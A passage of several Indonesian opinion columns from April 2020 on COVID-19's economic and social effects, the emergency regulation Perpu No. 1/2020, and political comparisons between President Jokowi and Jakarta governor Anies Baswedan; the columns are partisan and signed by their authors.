By MH. Said Abdullah Jakarta FNN – Selasa (14/04). Awal Maret 2020 lalu, untuk pertama kali Presiden Joko Widodo mengumumkan pasien covid 19 di Indonesia. Secara perlahan, grafik penderita covid 19 beranjak naik. Kini telah lebih sebulan, sudah mencapai 4.500 orang lebih penderita covid 19 di seluruh Indonesia. Kita tidak mengetahui akan sampai kapan pandemi ini akan berakhir. Pada skala global, angkanya menunjukkan tren kenaikan dengan cepat. Indonesia, oleh banyak ahli juga diyakini belum mencapai puncak grafik tertinggi jumlah penderita covid 19. Ketidakpastian waktu berakhirnya pandemi korona ini berkonsekuensi terhadap banyak hal pada kehidupan sosial ekonomi kita. Satu dari sekian deret masalah yang terprediksikan bakal menjadi urusan kita, terutama pemerintah adalah bertambahnya pengangguran dan kemiskinan. Itu pasti terjadi. Badan Pusat Statistik (BPS) mencatat jumlah pengangguran terbuka pada Agustus 2019 sebesar 5,28% atau mencapai 7,05 juta orang. Angka pengangguran tersebut naik secara jumlah dibandingkan Agustus 2018 sebesar 7 juta orang. Namun turun secara persentase dari sebesar 5,34%. Besar kemungkinan pada 2020 jumlah pengangguran naik akibat slowing downnya ekonomi kita. Data Kementrian Tenaga Kerja (Kemenaker) yang telah dirilis per 7 April 2020 menunjukkan, sektor formal dari 74.430 perusahaan dengan total pekerja 1.200.031 telah terdampak pandemi ini. Rianciannya, sebanyak 873.090 pekerja dari 17.224 perusahaan pekerja formal dirumahkan. Selian itu, sebanyak 137.489 buruh dari 22.753 perusahaan terkena Pemutusan Hubungan Kerja (PHK). Sementara di sektor informal, sebanyak 189.452 pekerja dari 34.453 perusahaan terkena dampak corona. Artinya, sebanyak 263.882 usaha telah terdampak pandemi korona. Dari data BPS, piramida usaha tahun 2019 menunjukkan, kelompok usaha besar sebanyak 5.460 unit. Sedangkan kelompok usaha menengah 58.627 unit. Kelompok usaha kecil 757.090 unit, dan kelompok usaha mikro sebanyak 62,1 juta unit. Dengan demikian, jumlah total usaha di Indonesia sebanyak 62,92 juta unit usaha. Jika mengacu data Kemenaker per 7 April 2020 di atas, maka diperkirakan sebanyak 0,4% unit usaha dengan berbagai skala telah terkena dampak dari pandemi korona. Perhitungan ini kemungkinan besar tak merangkum sektor sektor informal yang skala rumahan sebagai unit usaha. Selain itu, jasa mikro yang tidak terdata di kementrian maupun pemerintah daerah, seperti pedagang keliling dan tukang ojek. Juga buruh srabutan seiring dengan makin banyaknya daerah yang ditetapkan Pembatasan Sosial Berskala Besar (PSBB) dan program social distancing di seluruh Indonesia. Jika secara eksponensial penderita covid 19 terus bertambah. Grafiknya juga tidak menujukkan turun secara konstan, maka implikasi terhadap kelompok usaha dengan berbagai skala juga akan makin banyak terkena dampaknya. Mulai merumahkan karyawan hingga PHK. Dua-duanya secara ekonomi makin costly. Apalagi secara kemanusiaan. Membendung Pengangguran Di luar program penanganan langsung penderita covid 19, pemerintah telah menggulirkan berbagai program jaring pengaman social. Misalnya, stimulus ekonomi sebagai upaya maksimal untuk mengatasi dampak sosial-ekonomi pandemi covid 19. Setidaknya ada tujuh program yang digulirkan pemerintah untuk menambal dampak sosial akibat covid 19. Tujuh program pemerintajh itu diantaranya, Program Keluarga Harapan (PKH), Padat Karya Tunai (PKT), Bantuan Langsung Tunai (BLT), Kartu Sembako, Kartu Prakerja, Subsidi Listrik Untuk Golongan Tertentu, dan Bantuan Sosial Khusus Wilayah Jabodetabek. Anggaran yang dialokasi pada APBN 2020 terhadap ketujuh program tersebut sebesar Rp. 110 triliun. Untuk kebijakan stimulus ekonomi, pemerintah telah menggulirkan bauran kebijakan fiskal, dan moneter. Mulai dari penurunan suku bunga BI Rate, menurunkan rasio Giro Wajib Minimum (GWM) rupiah dan valuta asing di bank umum. Selain itu, memperluas underlying transaksi bagi investor asing untuk lindung nilai bagi kepemilikan rupiah mereka. Pada sisi fiskal, pemerintah telah memberikan pembebasan pajak restoran dan hotel di 10 destinasi wisata andalan. Pembebasan pajak penghasilan (PPh) 21 untuk pekerja. penundaan PPh pasal 22 untuk impor, pengurangan PPh pasal 25 untuk badan menjadi 22% pada tahun 2020 dan 2021 dan 20% pada tahun 2022. Juga restitusi PPN selama 6 bulan, dan stimulus kredit untuk plafon maksimal Rp. 10 miliar. Untuk menjalankan kebijakan dan program stimulus ekonomi di atas, pemerintah mengalokasikan anggaran Rp. 70,1 triliun untuk kredit usaha rakyat, dan 150 triliun untuk pemulihan ekonomi nasional. Apakah program ini akan efektif membendung pengangguran dan memulihkan ekonomi nasional? Saya berkeyakinan program ini akan menjadi obat bagi masalah-masalah sosial-ekonomi yang timbul akibat pandemi korona. Namun ada syarat untuk menjadikan program ini efektif. Pertama, dilandaskan pada data sosial yang akurat, tata kelola yang baik, dan monev yang memadai. Kedua, program ini ada daluarsanya. Estimasi saya, program ini akan efektif maksimal hanya 6 bulan. Itupun dengan asumsi grafik penderita covid 19 tidak makin menjulang tinggi. Bila syarat-syarat di atas obyektifnya tidak terpenuhi, maka program sosial dan stimulus ekonomi menjadi tidak optimal. Sebab itu, tiap bulan pemerintah harus memiliki hasil monitoring dan evaluasi (monev) atas pelaksanaan program program tersebut. Kita tidak sedang berfikir rutinitas. Dibutuhkan ekstra effort untuk menjalankan program tersebut. Oleh sebab itu, semua pihak yang gterlibat jangan main-main. Kita tidak punya banyak “amunuisi” anggaran. Apalagi bantalannya hanya bersumber dari Surat Berharga Negara (SBN). Saya berharap, setidaknya awal Mei 2020 kita sudah memiliki hasil monev atas pelaksanaan program jaring pengaman sosial dan stimulus ekonomi. Bila kenyataanya tidak menjawab atas postur masalah yang ada, maka martabat pemerintah tidak akan turun. Malah akan dapat apresiasi publik bila bertindak cepat merevisi kebijakan tersebut. Saya yakinkan, Badan Anggaran DPR sepenuhnya akan memberi dukungan dalam upaya pemerintah memberikan yang terbaik untuk rakyat. Terakhir, bila memang pandemi ini berskala waktu lama. Artinya, kita semua, terutama pemerintah harus siap “main panjang”. Karenanya, pemerintah harus punya worst scenario soal ini dengan mempertimbangkan jumlah penderita covid 19 per periode waktu tertentu, dan strategi yang akurat untuk mengatasi dampak sosial-ekonominya. Jika menilik kebijakan ekonomi terutama pajak, dan postur APBN, sebenarnya pemerintah sudah mengarah pada pelambatan ekonomi hingga 2022. Tetapi saya tidak melihat desain program jaring pengaman sosialnya siap “main panjang”. Setidaknya jika dihadapkan potensi eskalasi kasusnya. Karenanya, libatkan banyak pihak yang kompeten untuk mendesain program program tersebut. Kita butuh strategi kreatif, partisipatif, breakthrough yang cepat serta antisipatif. Sebab bila kasus ini makin eskalatif, saya yakinkan, pemerintah sendirian saja tidak akan sanggup. Kita butuh melewati fase ini dengan kebersamaan yang total. Saling mempercayai dan gotong royong. Penulis adalah Ketua Badan Anggaran DPR RI

Krisis, Itu Cara Korporasi Culas Perluas Kewenangan Presiden

Jika seorang hakim tidak melaksanakan tugas-tugas dengan jujur dan tulus terhadap anak yatim, bagaimana dia bisa diharapkan melaksanakan keadilan secara baik terhadap orang lain? Lain halnya hakim-hakim yang jujur dan saleh. Yang dengan keputusan-keputusan mereka yang baik, menghibur orang-orang yang telah patah hati dan memberikan naungan kepada orang-orang miskin dan tertindas yang dicampakkan oleh ketidakadilan dan kejahatan pegawai-pegawai negara. (Isi Surat kedua Al-Gazali kepada Nizamudin Fakhrul Mulk). By Dr. Margarito Kamis Jakarta FNN – Selasa (14/04). Alhamdulillah naungan Allah Yang Maha Mengetahui, Maha Rahman dan Maha Bijaksana masih tercurahkan kepada segelintir orang di tengah hidup bernegara. Yang semakin hari makin susah dimengerti ini. Alhamdulillah di tengah kekalutan Corona yang tak tahu kapan berakhir ini, yang telah menyebar hingga ke pelosok negeri, masih Engkau cerahkan akal dan hati mereka. Teguhkanlah Ya Allah akal dan pikiran mereka untuk bisa bekerja secara sungguh-sungguh. Sungguh kalam-Mu membebaskan hamba-hamba-Mu mengurus dan mengatur urusan mereka di dunia ini sesuai kadarnya. Dan Engkau, pemilik pengetahun yang tak terbanding. Lebih mengetahui semua alasan yang tidak diketahui hamba-hamba-Mu. Engkau lebih mengetahui semua alasan, sekecil biji zarrah sekalipun dibalik Peraturan Pemerintah Pengganti Undang-Undang (Perpu) Nomor 1 Tahun 2020, yang panjang judulnya ini. Pelebaran celah defisit, uang negara yang dipakai telah dinyatakan tak bisa dikualifikasi kerugian keuangan negara, orang-orang yang melaksanakannya tak bisa dituntut di pengadilan perdata, pidana dan tata usaha negara. Semuanya diatur dengan sangat sempurna dalam Perpu ini. Asumsi “mens rea” entah bagaimana rumusnya perlahan-lahan muncul dan menunjukan eksistensinya sebagai benteng untuk semua itu. Begitulah alasan-alasan kecil yang sayup-sayup terdengar menyertai Perpu ini. Perpu ini, dengan demikian memandang orang-orang yang melaksanakannya, dilandasi dengan niat baik. Ini sungguh ilmu baru. Dengan ilmu ini, penyimpangan, andai terjadi, didorong atau disebabkan oleh apapun, tak bisa dibilang sebagai kejahatan. “Actus reus” tak lebih dari sekadar debu. Mungkin lebih kecil dari itu, bahkan mungkin lebih kecil dari Corona, yang tak terlihat oleh mata kasar itu. Itulah hasil dari akal hukum dalam politik baru berbaju darurat ini. Krisis adalah satu hal. Cara menangani, memecahkannya adalah hal lain. Menetapkan derajat krisis, juga adalah satu hal. Ketepatan dalam mendefenisikan derajat krisis itu adalah hal lain, yang menjadi alasan menemukan cara menangani krisis itu. Gegabah, tergesa-gesa, untuk alasan apapun, itu buruk. Darurat adalah sebab. Menjadi alasan lahirnya keabsahan atas hal-hal terlarang, “haram”. Alam mengaturnya begitu. Dikala sebab (alasan) itu hilang, tiada karena munculnya sebab lain yang menghilangkannya, maka darurat itupun hilang dengan sendirinya. Karena sebab yang memunculkan darurat itu telah hilang, maka hilang pulalah darurat itu. Kala darurat itu hilang, maka semua kembali kekeadaan bisa. Normal dengan semua hukum-hukumnya. Itulah yang disebut “Ratio est legis anima, mutate legis rasionale mutates et lex” dalam hukum tata negara dan administrasi negara, sejak dari zaman kuda gigi besi hingga sekarang. Apakah sebab sama dengan akibat? Jika sebab hilang, hilang pulakah akibat? Tidak selalu simetris seperti itu. Ini harus diperiksa secara jujur, berbudi luhur dan tulus. Hanya itu cara yang memungkinkan orang menemukan rinciannya. Sebab politik, tak pernah merupakan sebab alam, tetapi sebab alam selalu memiliki potensi berubah menjadi dan memiliki bobot politik. Dan politik, sedari dahulu kala selalu berasal-usul dari akal jahat manusia. Hanya mereka yang akal dan budi pekerti benar-benar bagus, yang tak mampu mengubah, bukan manipulasi, sebab alam itu menjadi sebab politik. Apakah Corona merupakan sebab alam? Sejauh ini para ahli masih menyelidiki. Ada yang mengaitkannya dengan niat negara tertentu menguasai dunia dengan senjata biologi. Ada pula yang menyangkalnya. Seperti biasa dalam dunia tipu-menipu global. Mereka menyatakan tesis itu terlalu konspiratif. Faktanya Corona ada. Ada ribuan orang diseluruh dunia mati. Perusahaan diseluruh dunia juga sempoyongan. Arsenal, klub sepak bola di Inggris, favorit saya itu pun kelimpungan. Setelah Coach Arteta, anak muda pintar ini disambar Corona, yang Alhamdulillah kini telah sembuh, menejemen sedang mencari cara tepat untuk mengurangi gaji pemainnya. Corona, mahluk kecil tak berbentuk yang Engkau, Ya Allah Ya Karim. Kiriman itu sesungguhnya ujian besar buat kami, hamba-hamba-Mu. Engkau Ya Allah Yang Maha Tahu, dengan semua pengetahuan yang tak satu mahluk-Mu mampu menjangkaunya. Tidak tahu awal dan akhirnya. Kau tahu berat-ringannya ujian ini buat hamba-hambu. Ya Allah Ya Karim, hanya kepada-Mu, kami berserah memohon keringanan-Mu. Ringankanlah pula Ya Allah ya Rahman, hamba-hamba-Mu ini dari ujian Perpu ini. Engkau lebih mengetahui tabiat pemerintahan kami daripada kami. Tebarkanlah ya Allah ya Rahman, Nur Muhammad Sallallahu Alaihi Wasallam ke negeri kami, agar kami dapat menemukan jalan keluar yang tidak membahayakan negeri ini. Bukalah akal dan fikiran Umara-Umara kami. Ya Allah gerakan hati mereka, dan bawalah mereka ke tahun-tahun yang sudah-sudah, untuk dapat dipetik hikmahnya. Godalah mereka dengan tindakan hebat Almarhum Pak Sjafrudin Prawiranegara. Almarhum melepaskan jabatan Presiden, yang dikuasakan Bung Karno kepadanya, sekalipun keadaan politik pada waktu itu masih jauh dari stabil. Momentum Marampok Uang Besar Ampunilah kami dengan ampunan-Mu yang tak terlukiskan itu, sehingga kami, hamba-hamba-Mu ini, yang umara dan ulama, tidak memperdebatkan Perpu ini berdasarkan ilmu Leviatannya Tohams Hobes. Singkapkanlah ya Allah ya Maha Bijak, krisis keuangan tahun 1907 di Amerika. Ya Allah Yang Maha Mengetahi. Bukalah kenyataan itu selebar-lebarnya. Semua peristiwa sebelumnya, yang satu dan lainnya teranyam sedemikian rapinya untuk satu tujuan. Beritahukanlah bahwa krisis keuangan tahun 1907 itu adalah mainan korporasi-korporasi keuangan. Hanya mainan korporasi yang diparaksai oleh J.P. Morgan, Frank Fanderliph, Rockeffeler dan lainnya. Tunjukanlah bahwa krisis itu tidak lebih dari sedekar siasat mereka. Siasat orang-orang rakus dan tamak itu untuk mewujudkan UU Bank Sentral mereka, The Fed’s tahun 1913. Bukalah bahwa ini bukan yang pertama. Bukan pula yang terakhir. Yang pertama sudah dialami oleh Andrew Jackson, Presiden mereka. Manusia ini, Alhamdulillah, Kau beri hikmah sehingga tahu bahwa anak kandung bank tidak pernah lain selain inflasi dan deflasi. Dengan itu dia tolak The Three American Bank, sebagai kelanjutan dari The Second American Bank. Semacam bank sentral kala itu. Engkau yang Pada-Mu semua jiwa hamba ini bergantung. Sudilah dengan kearifan-Mu bukan kenyataan tahun 1933-1945. Ya Allah Yang Maha Mulia, yang Kemuliaan-Mu tak terjangkau satu mahlukpun. Tunjukanlah bahwa krisis keuangan, bahkan ekonomi besar yang diawali dengan The Bank Crash tahun 1929 itu, tidak lebih dari siasat kelompok-kelompok di atas untuk meraup uang. Beritahukanlah Ya Allah Yang Maha Tahu, bahwa krisis itu juga siasat kapitalis culas dan tamak untuk memperbesar kekuasaan presiden. Lalu mereka benarkan dengan segala macam pendapat. Diantaranya argumen political progressive, implied power, inheren power, inherent or aggregate authorithy. Padahal konsep tersebut, tidak lebih dari sekadar siasat kelompok-kelompok kapitalis culas mendorong presiden bertindak di luar batas konstitusi. Presiden dapat bertindak tanpa batas. Tanpa ada halangan daro legislatif. Hanya untuk mewujudkan keuntungan mereka semata. Semangatnya adalah semangat kapitalis keparat. Mereka menggunakan presiden untuk kepentingan mereka. Dengan konsep itu pula, maka kekuasaan non konstitusi diberi kepada presiden. Presiden, dengan argument itu berhak bertindak di luar batas konstitusi. Praktis krisis keuangan telah menjadi modus vivendi kapitalis meraup uang. Itu juga yang terjadi pada negara kami tahun 2008 dulu. Dalam konteks yang lain, ini cara untuk memperluas kekuasaan yang mirip dan pernah terjadi di Indonesia di ujung tahun 1959. Negara dinyatakan dalam keadaan darurat, lalu lahirlah extra power presiden. Terpukullah DPR hasil pemilu 1955. Organisasinya ditata, juga formasi keanggotaannya. Presiden mengendalikan sebagian besar kehidupan bernegara, termasuk kehidupan legislatif. Pola ini seperti mempraktikan fikiran Woodroow Wilson, presiden Amerika pada awal perang dunia pertama itu. Fikirannya itu terkenal dalam ilmu administrasi negara Amerika dengan organic state theory. Keseimbangan adalah fitrah alam. Siapapun yang mengubah keseimbangan itu, ia akan terpukul oleh arus baliknya yang tak seimbang. Ada yang lolos dari putaran mematikan arus itu, ada yang tidak. Tetapi yang lolos dan yang tidak lolos sama-sama ditunggu diakhirat nanti. Kau sendiri di sana, di hadapan-Nya. Tidak ada satupun staf dan anak buah yang membantumu di akhirat nanti. Perpu Corona ke MK Alam akhirat menanti siapa saja. Yang kecil maupun besar. Yang berpangkat maupun tidak. Yang kaya maupun yang miskin. Yang rajin menjilat maupun rajin mengeritik. Semuanya ditunggu alam akhirat. Itu pasti. Tidak ada rahasia di sana. Namun sebelum ke alam itu, orang-orang ini akan memasuki alam Mahkamah Konstitusi. Macam apa alam ini? Wallahu a’lam. Karena tak bisa diraba, maka doa saja yang bisa sertakan kepada para pakar yang telah memilih meniti jalan terjal memasuki alam ini. Hanya dengan doa saja yang dihaturkan ke Allah Azza wa Jallah, pemilik ilmu pengetahuan ini semoga Mahkamah Konstitusi memiliki kekuatan setara kekuatan “hakim yang bernama Syuraih”. Syuraih tidak gentar Ummar Bin Khattab, yang bergelar Amirul Mukminin-nya. Gelar tidak Umar ia bikin sendiri, melainkan disematkan oleh rakyatnya. Syuraih adalah satu di antara tiga hakim yang diangkat oleh Amirulmukminin. Ditempatkan di Kuffah, Irak. Suatu hari Sayidina Umar punya kasus. Kasusnya adalah Umar membeli seekor kuda. Begitu kuda itu dinaiki Sayaidina Umar, kudanya kehabisan tenaga. Tak bisa jalan. Umar mau mengambalikan. Pemilik yang telah menjual kuda itu tidak mau terima. Tak seperti penguasa-penguasa lalim. Sayidina Umar tak menggunakan kekuasaannya mengakhiri kasus itu. Ia malah berkata “kalau begitu harus ada orang yang menengahi antara kita berdua”. Top solusi yang ditawarkan oleh Amirul Mukminin. Dan sipenjual kuda berkata, Syuraih orang Irak itu. Umar oke menyanggupi. Apa putusan Syuraih? Sesudah mendengarkan keterangan keduanya (ini prinsip audi et alteram partem – fair hearing), Syuraih berkata “Amirul Mukiminin ambillah yang sudah anda beli, atau kembalikan seperti waktu anda ambil”. Kata Umar seperti ditulis oleh Muhammad Husen Haikal, keputusannya hanya begini? Umar yang Amirul Mukminin menerimanya dengan ikhlas dan penuh keimanan. Seagung-agungnya Mahkamah. Tentu tidak lebih agung dari putusan hakim yang adil. Seadil-adilnya hakim adalah hakim yang tak tunduk dan berlutut, dengan semua argumentasinya pada penguasa. Sehebat-hebatnya penguasa tidak lebih hebat dari penguasa yang membiarkan. Bukan meminta dengan cara tak terlihat agar hakim berpihak padanya. Ya Allah Yang Maha Tahu, Engkau mengetahui jalan hukum dunia tidak pernah jauh dari yang terjal. Terangilah jiwa para pemutus ini, agar mereka tahu bahwa jalan menuju puncak hakikat, selalu terjal disepanjang mata hati memandang. Sungguh, Ya Rabb Al-Haq, engkau tahu di puncak jalan itu, pendaki yang konsisten akan menemukan saripati kehidupan. Kala saripati itu tersingkap dan memeluk pendaki, penguasa dunia serasa kecil, sekecil virus Corona. Pada-Mu Ya Allah urusan ini akan menemukan jalannya. Indah atau buram, itulah ketentuan-Mu. Inya Allah. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Anies Pakai "Social Distancing", Jokowi Pakai "Political Distancing"

By Asyari Usman Jakarta, FNN - Sebetulnya, tidak perlu mempersoalkan pelanggaran ketentuan jaga jarak (social distancing) ketika Presiden Jokowi membagi-bagikan sembako di masa pandemi Covid-19 saat ini. Kenapa? Karena selain terminologi "social distancing" (jaga jarak sosial), ada pula "political distancing". Yang kedua ini lebih-kurang bermakna "jaga jarak politik". Sebelum dilanjutkan, apa itu "political distancing"? Saya memaknainya sebagai tindakan yang bertujuan untuk menjaga kedekatan politik dengan publik. Orang yang suka ceplas-ceplos menyebutnya "pencitraan". Itulah "political distancing". Berdasarkan ketentuan umum di masa pandemi ini, bagi-bagi sembako Pak Jokowi mau tak mau harus disebut "political distancing". Itulah yang mendorong beliau menebar sembako di Jakarta (9 April 2020) dan di Bogor pada Jumat malam (10 April 2020). Atas dasar apa kesimpulan bahwa bagi-bagi sembako Pak Jokowi adalah "political distancing"? Sederhana saja. bahwa proses bagi-bagi sembako yang mengundang kerumunan warga, bertentangan dengan definisi "social distancing". Bertolak belakang dengan anjuran "jaga jarak sosial". Nah, jika tidak bisa disebut "social distancing", apalagi kalau bukan "politcal distancing"? Terus, apakah ada komparasi penerapan kedua istilah itu? Ada. Cuma, balik lagi, kita terpaksa meyebut-nyebut nama Anies Baswedan. Suka tak suka. Begini. Gubernur DKI, dalam menjabarkan ketentuan PSBB (Pembatasan Sosial Berskala Besar), sejauh ini tidak terlihat ingin memanfaatkan kekuasaan dan kedudukannya untuk "jaga jarak politik" (baca: bertemu muka atau berjumpa langsung) dengan warga yang berhak menerima bantuan Pemprov. Anies konsisten dengan "jaga jarak sosial" yang sering dia ucapkan. Anies tidak berusaha mencari-cari momen untuk bisa langsung menyerahkan bantuan apa pun kepada 1.25 juta rumah tangga di DKI. Kalau dia mau, tentu bisa dengan mudah dia lakukan tanpa risiko Covid-19. Tetapi, dia tidak lakukan itu. Anies mengerti bahaya medis dan juga bahaya politis yang bisa terpicu kalau dia ikut-ikutan membagikan sembako langsung kepada warga. Pak Gubernur malah menerapkan istilah yang ketiga, yakni "economic distancing". Dia ciptakan situasi agar para pengemudi ojek online (Ojol) bisa "jaga jarak ekonomi" di tengah kesulitan berat saat ini. Artinya, agar mereka tidak berjarak terlau jauh dari segi ekonomi rumah tangga. Anies mempekerjakan para pengemudi Ojol itu untuk mengantarkan keperluan warga DKI yang harus diam di rumah (stay at home). Sehingga, mereka tetap bisa mendapatkan penghasilan. Begitulah Anies. Dia memakai "social distancing" di Jakarta. Sambil berikhtiar supaya ada "economic distancing" juga. Sedangkan Pak Jokowi memakai "political distancing". Sah-sah saja, tentunya. Meskipun ‘moral value’ (nilai moral) keduanya jauh berbeda. Bagai siang dan malam. Penulis Wartawan Senior

Dendam Buya Hamka, Nelson Mandela dan Anies Baswedan

Saat AE Priyono sakit, Lukman Hakiem WA dan telepon Anies. Lukman minta kepada Anies untuk membantu AE Priyono. Mulai dari mencarikan rumah sakit, tes Swab dan pelayanan tim medis. Anies merespon dengan sangat cepat. Anies mengerahkan tim medis untuk segera urus AE Priyono. Alhamdulillaah, AE Priyono akhirnya mendapatkan pelayanan medis dengan patut dan semestinya. By Tony Rosyid Jakarta FNN – Senin (13/04). Rakyat Indonesia tahu Buya Hamka pernah dipenjara. Soekarno, presiden Indonesia pertama yang memenjarakannya. Bukan kasus kriminal, tetapi ini soal politik. Penyebabnya Cuma karena Ketua MUI Pusat asal Sumatera Barat ini terlalu kritis terhadap Presiden Soekarno. Buya Hamka juga bersyukur. Dari dalam penjara, sebuah buku tafsir Al-Quran 30 juz rampung ditulis. “Nggak mungkin dikerjakan jika tak di penjara, “kata Buya Hamka. Inilah hikmahnya. Menjelang akhir hayat, Soekarno pesan kepada keluarganya, “nanti kalau meninggal, Soekarno ingin Buya Hamka yang jadi imam sholat jenazah”. Ketika Buya Hamka dikasih kabar bahwa Soekarno meninggal, dan diminta untuk jadi imam sholat, Buya Hamka merespon. Dengan senang hati. Buya Hamka pun mengimami shalat janazah Soekarno ketika itu. Selesai sholat, Buya Hamka melantunkan doa-doa terbaik untuk Soekarno. Harapannya semoga Soekarno husnul khotimah. semoga Allaah SWT mengampunya segala kesalahan Soekarno, dan menerima semua amal kebaikannya. Menempatkan Soekarno di syurganya Allaah bersama dengan para penghuni syurga yang lain. Padahal Soekarmo adalah Presiden yang pernah memenjarakan Buya Hamka selama 2,4 tahun. Sebelumnya Buya Hamka dijemput dengan paksa di rumahnya pada bulan suci Ramadhan. Selain Buya Hamka, ada Nelson Mandela. Tokoh politik dan presiden Afrika Selatan ini pernah dipenjara 27 tahun lamanya. Saat situasi politik berubah, ia keluar dari penjara, dan akhirnya terpilih jadi presiden. Saat itu, seorang wartawan bertanya kepada Nelson, anda sekarang sudah jadi penguasa. Kenapa orang-orang yang dulu berbuat dzalim dan memenjarakan tidak anda penjarakan? Apa jawab Nelson? "Selama 27 tahun saya dipenjara. Saya tak mau lagi terpenjara oleh dendam". Begitulah mestinya seorang pemimpin bersikap. Itulah pemimpin yang berkarakter, dan memiliki kelapangan jiwa yang tinggi. Pemimpin yang bermatabat dan berkelas. Mengukir kisah hidupnya untuk mewariskan sebuah keteladanan kepada generasi penerusnya. Dari Buya Hamka dan Nelson Mandela inilah, mungkin Anies Baswedan, gubernur DKI ini belajar membangun karakter dan jiwa kepemimpinannya. Anies belajar untuk sabar, teguh dan kuat dalam menjaga prinsip-prinsip moral dan kemanusiaan. Anies Perlakukan AE Priyono Sebuah kesaksian yang baru-baru ini ditulis oleh wartawan senior bernama Muhammad Subarkah viral. Subarkah menceritakan kisah Lukman Hakiem, mantan anggota DPR dari PPP, yang juga penasehat Wapres Hamzah Haz dan staf Perdana Menteri Muhammad Nasir. Saat AE Priyono sakit, Lukman Hakiem WA dan telp Anies. Lukman minta kepada Anies untuk membantu AE Priyono. Mulai dari mencarikan rumah sakit, tes Swab dan pelayanan tim medis. Anies merespon dengan sangat cepat. Anies mengerahkan tim medis untuk segera urus AE Priyono. Alhamdulillaah, AE Priyono akhirnya mendapatkan pelayanan medis dengan patut dan semestinya. Beberapa hari kemudian, Lukman Hakiem telepon Anies lagi. Apa yang bisa saya bantu? What can I help you? Itu kalimat yang sering kita dengar dari film-film Barat. Standar etika komunikasi dalam peradaban Barat. AE Priyono meninggal dunia, kata Lukman Hakiem. Mohon dibantu pemakamannya, lanjut Lukman. Anies menjawab Siap. Anies pun bergegas instruksikan kepada tim Satgas Covid-19 DKI Jakarta untuk mengurus pemakaman AE Priyono. AE Priyono adalah wartawan senior dan aktifis Jogja saat kuliah. Ia dikenal sebagai Ahokers tulun dan akut. Kritiknya kepada Anies, jangan lagi dibilang dan dijelaskan. Bisa dilihat pada jejak-jejak digitalnya. Layaknya Ahoker-Ahoker yang lain. Anda pasti bisa membayangkan bagaimana sikap Anies. Apakah Anies akan dendam? Subhanallaah, ternyata tidak. Anies justru memberikan AE Priyono pelayanan yang terbaik. Pada konteks ini, terlihat kalau Anies terus berupaya keras untuk mengakhiri keterbelahan politik di negeri ini. Mengakhiri identifikasi sosial-politik yang bernama Jokowers, Ahokers dan Aniesers. Nggak sehat dan kontra produktif terhadap peradaban dan masa depan bangsa. Caranya? Gampang saja. Pertama, semua warga DKI adalah rakyatnya Anies. Mau pendukung atau non pendukung. Ini hal yang prinsip. Kedua, mereka mendapatkan hak untuk diperlakukan secara sama dan dilayani secara adil. Tidak boleh ada pembedaan diantara Jokowers, Ahokers dan Aniessers. Ketiga, Anies merangkul dan mengayomi semua pihak layaknya "Bapak Ibu kota." Keempat, melibatkan semua elemen masyarakat, termasuk para "haters" dalam pembangunan masa depan DKI. Kelima, tidak melayani, merespon, apalagi menuntut mereka yang membully, fitnah dan mencaci-maki Anies. Apalagi yang dilakukan oleh oknum-oknus "haters". Sabar dan selalu memaafkan mereka. Menjauh dari sifat-sifat sebagai pendendam. Tampaknya sikap inilah yang sedang diteladani Anies dari Buya Hamka dan Nelson Mandela. Dua tokoh besar lintas negara. Kisah AE Priyono hanyalah satu dari sekian kisah yang tak terekspos dan terbaca oleh publik. Begitulah seharusnya seorang pemimpin bersikap. Harus ada karakter yang bisa dijadikan rujukan dan panutan buat rakyatnya. Tidak saja rakyat hari ini, tetapi juga rakyat 100-1000 tahun yang akan datang. Kisah dan sikap seorang pemimpin akan ditulis dalam sejarah. Akan selalu diingat sepanjang sejarah ke depan. Generasi mendatang anak-anak bangsa ini akan membacanya. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Ekonomi Indonesia Ambruk Bukan Karena Adanya Covid-19

Kalau mau, wabah Covid-19 yang tengah melanda dunia ini merupakan momentum untuk membenahi tata kelola ekonomi Indonesia yang sudah buruk sejak awal. Sebelum datangnya virus Covid-19 awal Januari 2020 lalu. Segera benahi tata kelola yang buruk selama ini. Kalau tidak sanggup untuk membenahi secara mendasar sistem ekonomi dan keuangan Indonesia, mendingan lempar handuk saja. Kasih kesempatan kepada anak-anak bangsa yang lain untuk melakukan pembenahan. Bagaimana caranya? Sangat mudah, dan gampang sekali. By Salamuddin Daeng Jakarta FNN – Sabtu (11/04). Banyak sekali sektor ekonomi yang diuntungkan akibat pelemahan ekonomi global sebagai implikasi dari wabah Covid-19 ini. Tidak seperti yang tergambar selama ini seolah-olah seluruh sektor ekonomi akan ambruk karena Covid-19. Padahal bukan itu penyebabnya. Bayangkan, saja akibat Covid-19 telah menimbulkan implikasi melemahnya harga barang-barang yang selama ini diimpor oleh Indonesia. Terutama sekali migas, bahan baku industri dan barang-barang konsumsi. Pelemahan ekonomi global telah berdampak pada penurunan harga-harga bahan mentah dan bahan baku secara drastis. Apalagi sekitar 70 % impor Indonesia adalah bahan baku. Sektor migas dan BUMN migas adalah sektor yang panen paling besar dalam keadaan Covid-19 sekarang ini. Bayangkan, harga minyak mentah telah jatuh lebih dari 50% dibandingkan asumsi APBN 2020. Harga minyak sekarang rata -rata U$ 20-25 dollar per barel. Jatuh paling bawah bila jauh dibandingkan dengan asumsi APBN U$ 62 dollar per barel. Dengan kondisi ini, biaya produksi perusahan migas seperti Pertamina akan turun sangat besar. Karena minyak mentah merupakan komponen biaya terbesar dalam struktur produksi migas. Sementara harga jual migas masih berada pada posisi yang menguntungkan. Belum ada perubahan harga sampai saat ini. Perusahan BUMN seperti Pertamina bisa menekan harga impor BBM yang sangat besar. Bayangkan saja, Ron 92 bisa dibeli dalam kontrak di Singapura dengan harga 22 dolar per barel, atau Rp 3.300 per liter. Sementara harga jual BBM dalam negeri berhasil dipertahankan atau tidak ada perubahan harga. Menurut salah satu sumber, di Malaysia harga BBM Ron 95 adalah Rp. 4500 per liter. Begitu juga harga beli bahan baku LPG di Saudi Aramco telah turun lebih dari 25% . Sementara harga jual gas LPG di dalam negeri sebelum penurunan harga bahan baku LPG sudah menguntungkan BUMN. Apalagi sekarang. Pihak lain yang sangat diuntungkan oleh pelemahan harga energi primer ini adalah PLN. Pelemahan ekonomi dunia telah berimplikasi pada pelemahan batubara, gas dan minyak. Dua jenis energi ini merupakan komponen energi primer yang selama ini menjadi pos terbesar dalam biaya produksi PLN. Harga batubara jauh sekali berada di bawah harga yang dipatok oleh pemerintah, yakni U$ 70 dollar per ton (harga batubara domestik market obligation/DMO). Sementara harga batubara di pasar tinggal U$ 30-35 dollar per ton. Demikian 